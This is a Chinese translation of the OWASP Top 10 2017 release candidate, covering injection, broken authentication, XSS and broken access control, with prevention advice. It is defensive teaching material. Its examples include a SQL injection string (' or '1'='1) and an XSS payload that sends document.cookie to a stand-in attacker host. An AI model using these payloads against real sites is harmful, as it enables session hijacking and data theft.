报告PDF下载链接: http://pan.baidu.com/s/1bo9fs55 密码: c296
时隔三年，OWASP Top 10再度准时更新，滴滴安全DSRC翻译了候选版（非正式发布版）以便于大家快速阅读，希望大家关注OWASP Top 10项目给我们的指导意见的同时，并向OWASP Top 10项目提供更多有价值的反馈。
RC 候选版本
欢迎反馈
OWASP计划在2017年6月30日公共评议期结束后，于2017年7月或者8月公布OWASP top 10 – 2017年度的最终公开发布版。
该版本的OWASP top 10标志着该项目第十四年提高应用安全风险重要性的意识。该版本遵循2013年更新，2013版的top 10主要变化是添加了2013-A9使用含有已知漏洞的组件。我们很高兴看到，自2013版top 10以来，随着自由和商业工具的整体生态系统出现，帮助解决这个问题，因为开源组件的使用几乎在每种编程语言中都在继续迅速扩大。数据还表明，使用已知的易受攻击的组件仍然很普遍，但并不像以前那么普遍。我们认为，针对这个问题的关注意识在2013版top 10出现后已经导致了这两个变化。
我们也注意到，自从CSRF被引入2007版的top 10项目以来，它已经从广泛的脆弱性下降到不常见的脆弱性。许多框架包括自动的CSRF防御，这大大促进了普遍性的下降，以及开发人员对于防范这种攻击的意识提高。
关于这个OWASP top 10 – 2017候选发布版的建设性意见可以通过电子邮件到[email protected]。私人评论可以发送到[email protected]。欢迎发送匿名反馈。所有非私人反馈将在最终公开发布的同时进行编目和发布。我们建议您对top 10列出的项目进行更改的评论应包括top 10个项目的完整列表，以及更改的理由，所有反馈都应显示具体的相关页面和部分。
在OWASP top 10 – 2017年最终出版之后，OWASP社区的协作工作将持续更新支持文档，包括OWASP Wiki，OWASP Develop’s Guide，OWASP Test Guide，OWASP Code Review Guide和OWASP Prevention Cheat Sheets，以及将top 10翻译成许多不同的语言。
您的反馈对于OWASP Top 10项目和所有其他OWASP项目的持续成功至关重要。感谢大家竭尽全力提高全世界的软件的安全性。
Jeff Williams, OWASP Top 10项目创始者和共同作者
Dave Wichers, OWASP Top 10共同作者和项目负责人
关于OWASP
前言
不安全的软件已经在破坏着我们的金融、医疗、国 防、能源和其他重要网络架构。随着我们的数字化架构 变得越来越复杂并相互关联，实现应用程序安全的难度 也呈指数级增加。现代软件开发过程的快速发展使风险更加难以快速准确地发现。我们再也不能忽视像OWASP Top 10 中所列出的相对简单的安全问题
Top 10项目的目标是通过找出企业组织所面临的最严重的风险来提高人们对应用程序安全的关注度。Top 10项目被众多标准、书籍、工具和相关组织引用，包括 MITRE、PCI DSS、DISA、 FTC等等。OWASP Top 10最初于2003 年发布，并于2004年和2007年相继做了少许的修改更新。2010版做了修改以对风险进行排序，而不仅仅对于流行程度。这种模式在2013版和最新的2017版得到了延续。
我们鼓励各位通过使用此Top 10帮助您的企业组织了 解应用程序安全。开发人员可以从其他企业组织的错误 中学习到经验。而执行人员需要开始思考如何管理软件 应用程序在企业内部产生的风险。
从长远来看，我们鼓励您创建一个与您的文化和技 术都兼容的应用安全计划。这些计划可以是任意形式和 大小的，您还应该试图避免做过程模型中规定的每件事。 相反，利用您组织的现有优势并衡量什么对您有用。
我们希望OWASP Top 10能有助于您的应用程序安 全。如果有任何疑问、评论以及想法，请不要犹豫，立即通过公开的[email protected]或者私人 的[email protected]，与我们取得联系。
关于OWASP
开源web应用安全项目（OWASP）是一个开放的社区，致力于帮助各企业组织开发、购买和维护可信任的应用程序。在OWASP，您可以找到以下免费和开源的信息：
应用安全工具和标准
关于应用安全测试、安全代码开发和安全代码审查方面的全面书籍
标准的安全控制和安全库
全球各地分会
尖端研究
专业的全球会议
邮件列表
更多信息，请访问：http://www.owasp.org
所有的OWASP工具、文档、论坛和全球各地分会都
是免费的，并对所有致力于改进应用程序安全的人士开放。我们主张将应用程序安全问题看作是人、过程和技术的问题，因为提供应用程序安全最有效的方法是在这些方面提升。
OWASP是一个新型组织。没有商业压力使得我们能
够提供无偏见、实用、低成本的应用安全方面的信息。尽管OWASP支持合理使用商业的安全技术，但是OWASP不隶属于任何技术公司。和许多开源软件项目一样，OWASP以一种协作、开放的方式制作了许多不同种类的材料。
OWASP基金会是确保项目长期成功的非营利性组织。几乎每一个与OWASP相关的人都是一名志愿者，这包括了OWASP董事会、全球委员会、全球各地分会会长、项目领导和项目成员。我们用捐款和基础设备来支持创新的安全研究。
我们期待您的加入
版权和许可
2003－2013 OWASP基金会©版权所
本文档的发布基于Creative Commons Attribution
ShareAlike 3.0 license。任何重复使用或发行， 都必须向他人澄清该文档的许可条款。
简介
欢迎
欢迎阅读2017年版的OWASP Top 10！这个主要的更新首次增加了两个新的漏洞类别：(1) 攻击检测与防范不足 (2) 未受保护的API。我们通过将两个访问控制类别（2013-A4和2013-A7）合并回到失效的访问控制（这是2014年版top 10的分类名）中，为这两个新类别腾出空间，并将2013-A10 “未经验证的重定向和转发去掉”。
2017年版的OWASP Top 10文档基于来自专业的应用安全公司的11个大型数据库，其中包括：8家咨询公司，3家产品提供商。数据涵盖了来自上百家组织上千个应 用，超过50,000个真实环境中的漏洞和APIs。Top 10根据所有这些相关数据挑选和排序，并与可利用性、可检测性和影响程度的一致评估相 结合。
OWASP Top 10的主要目的是教育开发人员，设计师，架构师，经理和组织，了解最重要的Web应用程序安全漏洞的后果。Top 10提供了防范这些高风险问题领域的基本技术，并为您提供了从这里走到哪里的指导
警告
不要仅关注OWASP Top 10：正如在《OWASP开发者指南》和《OWASP Cheat Sheet》中所讨论的，能影响整个web应用程序安全的漏洞成百上千。这些指南是当今web应用程序开发人员的必读资料。而《OWASP测试指南》和《OWASP代码审查指南》则指导人们如何有效地查找web 应用程序中的漏洞。这两本指南在发布OWASP Top 10的前版本时就已经进行了明显更新。
不断修改：此Top 10将不断更新。即使您不改变应用程序的任何一行代码，您的应用程序可能已经存在从来没有被人发现过的漏洞。要了解更多信息，请查看Top 10结尾的建议部分，“开发人员、测试人员和企业组织下一步做什么”。
正面思考：当您已经做好准备停止查找漏洞并集中精力建立强大的应用程序安全控制时，OWASP已经制作了《应用程序安全验证标准（ASVS）》指导企业组织和应用程序审查者如何去进行验证。
明智使用工具：安全漏洞可能很复杂并且藏匿在代码行的深处。查找并消除这些漏洞的最根本有效的方法就是利用专家的经验以及好的工具。
其他：在您的组织中，重点关注让安全成为组织文化的一部分。更多信息，请参见《开放软件保证成熟度模型（SAMM）》和《Rugged Handbook》
鸣谢
感谢Aspect Security 自2003年OWASP Top 10项
目成立以来，对该项目的创始、领导及更新，同时我们也感谢主要作者：Jeff Williams和Dave Wichers。
我们也要感谢以下组织贡献了它们的漏洞数据用于支持该项目2017版的更新，包括这些提供了大量数据集的组织。
Aspect Security
AsTech Consulting
Branding Brand
Contrast Security,
EdgeScan
iBLISS
Minded Security
Paladion Networks,
Softtek
Vantage Point
Veracode
第一次我们将向top 10项目提供的所有数据公开，并且公开了完整的贡献者名单。
我们还要感谢为Top 10本版本做出显著内容贡献和花时间审阅的专家们：
Neil Smithline – 提供了Top 10的Wiki版，并提供了宝贵反馈意见。
最后，我们感谢所有的翻译人员将Top 10翻译成不同的语言，帮助让OWASP Top 10对全世界的人们都可以更容易获得信息。
发行说明
从2013版到2017版有什么改变？
应用程序安全的威胁情况不断改变。这种演变的关
键因素是迅速采用新技术（包括云计算，容器和APIs），软件开发过程（如敏捷开发和DevOps）的加速和自动化，第三方库和框架的爆炸式增长以及攻击者的进步。这些因素往往使应用程序和APIs更难分析，并可以显著改变威胁形态。为跟上发展，我们周期性的更新OWASP Top 10。在本次2017年版本中，我们做了以下改变：
1) 我们合并了2013-A4“不安全的直接对象引用”和2013-A7“功能级访问控制功能缺失”到2017-A4“无效的访问控制”。
o 2007年，我们将失效的访问控制分为两类，以便更多地关注访问控制问题（数据和功能）的每一方面。我们不再觉得这是必要的，所以我们将它
们合并在一起。
2) 我们增加了2017-A7：攻击检测与防范不足
+ 多年来，我们考虑增加对自动攻击的防御力不足。基于数据调用，我们看到大多数应用程序和API缺乏检测与防范和响应手动或者自动化攻击的基
本功能。应用程序和APIs所有者还需要能够快速部署补丁以保护和防止攻击。
3) 我们增加了2017-A10: 未受保护的API
+ 现代应用程序和API通常涉及丰富的客户端应用程序，例如浏览器中的JavaScript和移动端应用
程序，连接到某种API（SOAP / XML，REST /
JSON，RPC，GWT等）。这些API通常是不受
保护的，并且包含许多漏洞。我们将其包括在这
里，以帮助组织专注于这一主要的新兴风险。
4) 我们去掉了: 2013-A10:未验证的重定向和转发
– 2010年，我们增加了这一类别，以提高对这个问题的认识。然而，数据显示，这个问题并不像预期那么普遍。所以在进入top 10的最后两个版
本之后，这一次并没有削减。
注意：T10围绕主要风险区域进行整理，而不是密封，不重叠或严格的分类。其中一些是围绕着攻击者整理的，一些是脆弱性，一些是防御，一些是资产。组织应考虑制定措施，以消除这些问题。
风险：应用程序安全风险
什么是应用程序安全风险
攻击者可以通过应用程序中许多不同的路径方法去危害您的业务或者企业组织。
每种路径方法都代表了一种风险， 这些风险可能会，也有可能不会严重到值得您关注。
有时，这些路径方法很容易被发现并利用，但有的则非常困难。同样，所造成危害的范围也从无损坏到有可能完全损害您的整个业务。为了确定您的企业的风险，可以结合其产生的技术影响和对企业的业务影响，去评估威胁代理、攻击 向量和安全漏洞的可能性。总之，这些因素决定了全部的风险。
我的风险是什么？
OWASP Top 10的重点在于为广大企业组织确定一组最严重的风险。对于 其中的每一项风险，我们将使用基于OWASP风险等级排序方法的简单评级方 案，提供关于可能性和技术影响方面的普遍信息。
只有您了解您自己的系统环境和企业的具体情况。对于任何已知的应用程序，可能某种威胁代理无法实施相应的攻击，或者技术影响并没有什么差别。因 此，您必须亲自评估每一种风险，特别是需要针对您企业内部的威胁代理、 安全控制、业务影响等方面。我们将“威胁代理”作为“应用描述”，“业 务影响”作为“应用/业务描述”，以说明这些依赖于您企业中应用的详细信息。
Top 10中风险的名称，有的来自于攻击的类型，有的来自于漏洞，而有的来自于所造成的影响。我们选择了最能准确反应出风险名称，并在可能的情况下，同时使用最为常用的专业名词来得到最高的关注度。
参考资料
OWASP资料
OWASP Risk Rating Methodology
Article on Threat/Risk Modeling
其他资料
FAIR Information Risk Framework
Microsoft Threat Modeling Tool
T10 OWASP Top 10 – 2017
A1 注入
我是否存在注入漏洞?
检测应用程序是否存在注入漏洞的最好的办法就是确认 所有解释器的使用都明确地将不可信数据从命令语句或查 询语句中区分出来。在许多情况下，建议避免解释器或禁用它（例如XXE）。对于SQL调用，这就意味着在所有准备语句（prepared statements）和存储过程（stored procedures） 中使用绑定变量（bind variables），并避免 使用动态查询语句。
检查应用程序是否安全使用解释器的最快最有效的方法 是代码审查。代码分析工具能帮助安全分析者找到使用解 释器的代码并追踪应用的数据流。渗透测试者通过创建攻 击的方法来确认这些漏洞。
可以执行应用程序的自动动态扫描器能够提供一些信息， 帮助确认一些可利用的注入漏洞是否存在。然而，扫描器 并非总能达到解释器，所以不容易检测到一个攻击是否成 功。不恰当的错误处理使得注入漏洞更容易被发现。
我如何防止注入漏洞?
防止注入漏洞需要将不可信数据从命令及查询中区分开。
1.最佳选择是使用安全的API，完全避免使用解释器或提 供参数化界面的API。但要注意有些参数化的API，比 如存储过程（stored procedures），如果使用不当， 仍然可以引入注入漏洞。 ● 2.如果没法使用一个参数化的API，那么你应该使用解释器具体的escape语法来避免特殊字符。 OWASP的ESAPI 就有一些escape例程。
3.使用正面的或“白名单”的具有恰当的规范化的输入验证方法同样会有助于防止注入攻击。但由于很多应用在输入中需要特殊字符，这一方法不是完整的防护方法。 OWASP的ESAPI中包含一个白名单输入验证 例程的扩展库。
攻击案例
案例 #1: 应用程序在下面存在漏洞的SQL语句的构造中使 用不可信数据：
String query = "SELECT * FROM accounts WHERE
custID='" + request.getParameter("id") + "'";案例 #2：同样的，框架应用的盲目信任，仍然可能导致查 询语句的漏洞。（例如：Hibernate查询语言（HQL））：
Query HQLQuery = session.createQuery("FROM accounts
WHERE custID='" + request.getParameter("id") + "'");在这两个案例中，攻击者在浏览器中将“id”参数的值修改 成 ’ or’1’=’1。如：
http://example.com/app/accountView?id=' or '1'='1这样查询语句的意义就变成了从accounts表中返回所有的 记录。更危险的攻击可能导致数据被篡改甚至是存储过程 被调用。
参考资料
OWASP
OWASP SQL Injection Prevention Cheat Sheet
OWASP Query Parameterization Cheat Sheet
OWASP Command Injection Article
OWASP XXE Prevention Cheat Sheet
OWASP Testing Guide: Chapter on SQL Injection Testing
其他资料
CWE Entry 77 on Command Injection
CWE Entry 89 on SQL Injection
CWE Entry 564 on Hibernate Injection
CWE Entry 611 on Improper Restriction of XXE
CWE Entry 917 on Expression Language Injection
A2 失效的身份认证和会话管理
我存在会话劫持漏洞么?
如何能够保护用户凭证和会话ID等会话管理资产呢？以下 情况可能产生漏洞：
1.用户身份验证凭证没有使用哈希或加密保护。 详见A6
2.认证凭证可猜测，或者能够通过薄弱的的帐户管理功能（例如账户创建、密码修改、密码恢复, 弱会话ID）重写。
3.会话ID暴露在URL里 （例如, URL重写）。
4.会话ID容易受到会话固定（session fixation） 的攻击。
5.会话ID没有超时限制，或者用户会话或身份验证令牌特别是单点登录令牌在用户注销时没有失效。
6.成功注册后,会话ID没有轮转。
7.密码、会话ID和其他认证凭据使用未加密连接传输。详见A6。
更多详情请见ASVS要求部分V2和V3 。
我如何防止?
对企业最主要的建议是让开发人员使用如下资源：
1.一套单一的强大的认证和会话管理控制系统。这套控 制系统应:
a) 满足OWASP的应用程序安全验证标准（ASVS） 中V2（认证）和V3（会话管理）中制定的所 有认证和会话管 理的要求。
b) 具有简单的开发界面ESAPI认证器和用户 API 是可以仿照、使用或扩展的好范例。
2. 企业同样也要做出巨大努力来避免跨站漏洞，因为这 一漏洞可以用来盗窃用户会话ID。 详见A3。
攻击案例
案例 #1：机票预订应用程序支持URL重写，把会话ID放在 URL里：
http://example.com/sale/saleitems;jsessionid=
2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii该网站一个经过认证的用户希望让他朋友知道这个机票打 折信息。他将上面链接通过邮件发给他朋友们，并不知道 自己已经泄漏了自己的会话ID。 当他的朋友们使用上面的 链接时，他们将会使用他的会话和信用卡。
案例#2：应用程序超时设置不当。 用户使用公共计算机 访问网站。离开时，该用户没有点击退出，而是直接关闭 浏览器。攻击者在一个小时后能使用相同浏览器通过身份认证。
案例#3：内部或外部攻击者进入系统的密码数据库. 存储 在数据库中的用户密码没有被加密, 所有用户的密码都被 攻击者获得。
参考资料
OWASP
完整的参考资料，见 ASVS requirements areas for Authentication (V2) and Session Management (V3).
OWASP Authentication Cheat Sheet
OWASP Forgot Password Cheat Sheet
OWASP Password Storage Cheat Sheet
OWASP Session Management Cheat Sheet
OWASP Testing Guide: Chapter on Authentication
其他
CWE Entry 287 on Improper Authentication
CWE Entry 384 on Session Fixation
A3 扩展脚本 (XSS)
我存在XSS漏洞吗?
如果您的服务器端代码使用用户提供的输入作为HTML输出的一部分，并且不使用上下文相关的转义来确保它无法运行，则您很容易受到服务器XSS的影响。如果网页使用JavaScript来动态地将攻击者可控数据添加到页面，那么您可能需要注意Client XSS。 理想情况下，您将避免将攻击者可控数据发送到不安全的JavaScript API，但是可以使用输入验证来转义（并在较小程度上）进行输入验证。
自动化工具能够自动找到一些跨站脚本漏洞。然而，每一 个应用程序使用不同的方式生成输出页面，并且使用不同 的浏览器端解释器，例如JavaScript, ActiveX, Flash,和 Silverlight，这使得自动检测变得很困难。因此，要想达到 全面覆盖，必须使用一种结合的方式，在自动检测的基础 上，同时采用人工代码审核和手动渗透测试。
类似AJAX的web2.0技术使得跨站脚本漏洞更难通过自动工 具检测到。
我如何防止XSS?
防止XSS需要将不可信数据与动态的浏览器内容区分开。
1.为了避免 Server XSS,最好的办法是根据数据将要置于的HTML上下文（包括 主体、属性、JavaScript、CSS或URL）对所有的不可信 数据进行恰当的转（escape）。更多关于数据转义技术的信息见OWASP DOM XSS Prevention Cheat Sheet。
2.为了避免Client XSS,首选方案是避免将不受信任的数据传递给可生成活动内容的JavaScript和其他浏览器API。 当无法避免这种情况时，类似的敏感转义技术可以应用于浏览器API，如基于OWASP DOM based XSS Prevention Cheat Sheet 。
3.更多内容请参考OWASP 的 AntiSamy 或者 Java HTML Sanitizer项目。
4.考虑使用内容安全策略（CSP）来抵御整个网站的跨 站脚本攻击。
攻击案例
应用程序在下面HTML代码段的构造中使用未经验证或转 义的不可信的数据：
（String） page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter（"CC"）+ "'>";攻击者在浏览器中修改“CC” 参数为如下值：
'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.这导致受害者的会话ID被发送到攻击者的网站，使得攻击 者能够劫持用户当前会话。
请注意攻击者同样能使用跨站脚本攻破应用程序可能使 用的任何跨站请求伪造（CSRF）防御机制。CSRF的详细情 况见A8
参考资料
OWASP
OWASP Types of Cross-Site Scripting
OWASP XSS Prevention Cheat Sheet
OWASP DOM based XSS Prevention Cheat Sheet
OWASP Java Encoder API
ASVS: Output Encoding/Escaping Requirements (V6)
OWASP AntiSamy: Sanitization Library
Testing Guide: 1st 3 Chapters on Data Validation Testing
OWASP Code Review Guide: Chapter on XSS Review
OWASP XSS Filter Evasion Cheat Sheet
其他资料
CWE Entry 79 on Cross-Site Scripting
A4 失效的访问控制
我存在么?
查找应用程序是否容易受到访问控制漏洞的最佳方法是验证所有数据和函数引用是否具有适当的防御。 要确定你是否容易受到攻击，请考虑:
1.对于数据引用，应用程序是否通过使用映射表或访问控制检查确保用户获得授权，以确保用户对该数据进行授权
2.对于非公共功能请求，应用程序是否确保用户进行了身份验证，并具有使用该功能所需的角色或权限？
应用程序的代码审查可以验证这些控件是否正确实施，并且在任何地方都需要进行审计。 手动测试对于识别访问控制缺陷也是有效的。 自动化工具通常不会找到这样的缺陷，因为他们无法识别需要什么保护或什么是安全的或不安全的。
我如何防止?
防止访问控制缺陷。需要选择一个适当的方法 来保护每一个用户可访问的对象（如对象号码、文件名） 。
1.检查访问。任何来自不可信源的直接对象引用都必须 通过访问控制检测，确保该用户对请求的对象有访问 权限。
2.使用基于用户或者会话的间接对象引用。这样能防止 攻击者直接攻击未授权资源。例如，一个下拉列表包 含6个授权给当前用户的资源，它可以使用数字1-6来 指示哪个是用户选择的值，而不是使用资源的数据库 关键字来表示。在服务器端，应用程序需要将每个用 户的间接引用映射到实际的数据库关键字。OWASP的 ESAPI包含了两种序列和随机访问引用映射，开发人员 可以用来消除直接对象引用。
3.自动验证 。利用自动化来验证正确的授权部署。 这要成为习惯。
攻击案例
案例 #1:应用程序在访问帐户信息的SQL调用中使用未验证数据：
pstmt.setString(1, request.getparameter("acct"));
ResultSet results = pstmt.executeQuery();攻击者能轻易在浏览器将 “acct” 参数修改成他所想要的 任何账户号码。如果应用程序没有进行恰当的验证，攻击 者就能访问任何用户的账户，而不仅仅是该目标用户的账 户。
http://example.com/app/accountInfo?acct=notmyacct案例 #2:攻击者只是简单的强制浏览目标URL。 还需要管理员权限才能访问的管理页面。
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo如果未经身份验证的用户可以访问任何一个页面，这是一个缺陷。 如果非管理员可以访问管理页面，这也是一个缺陷。
参考资料
OWASP
OWASP Top 10-2007 on Insecure Direct Object References
OWASP Top 10-2007 on Function Level Access Control
ESAPI Access Reference Map API
ESAPI Access Control API (See isAuthorizedForData(), isAuthorizedForFile(), isAuthorizedForFunction() )
For additional access control requirements, see the ASVS requirements area for Access Control (V4).
其他资料
CWE Entry 285 on Improper Access Control (Authorization)
CWE Entry 639 on Insecure Direct Object References
CWE Entry 22 on Path Traversal (一个直接对象引用攻击的例子)
更多精彩内容请下载完整版查看: http://pan.baidu.com/s/1bo9fs55 密码: c296
还没有评论，来说两句吧...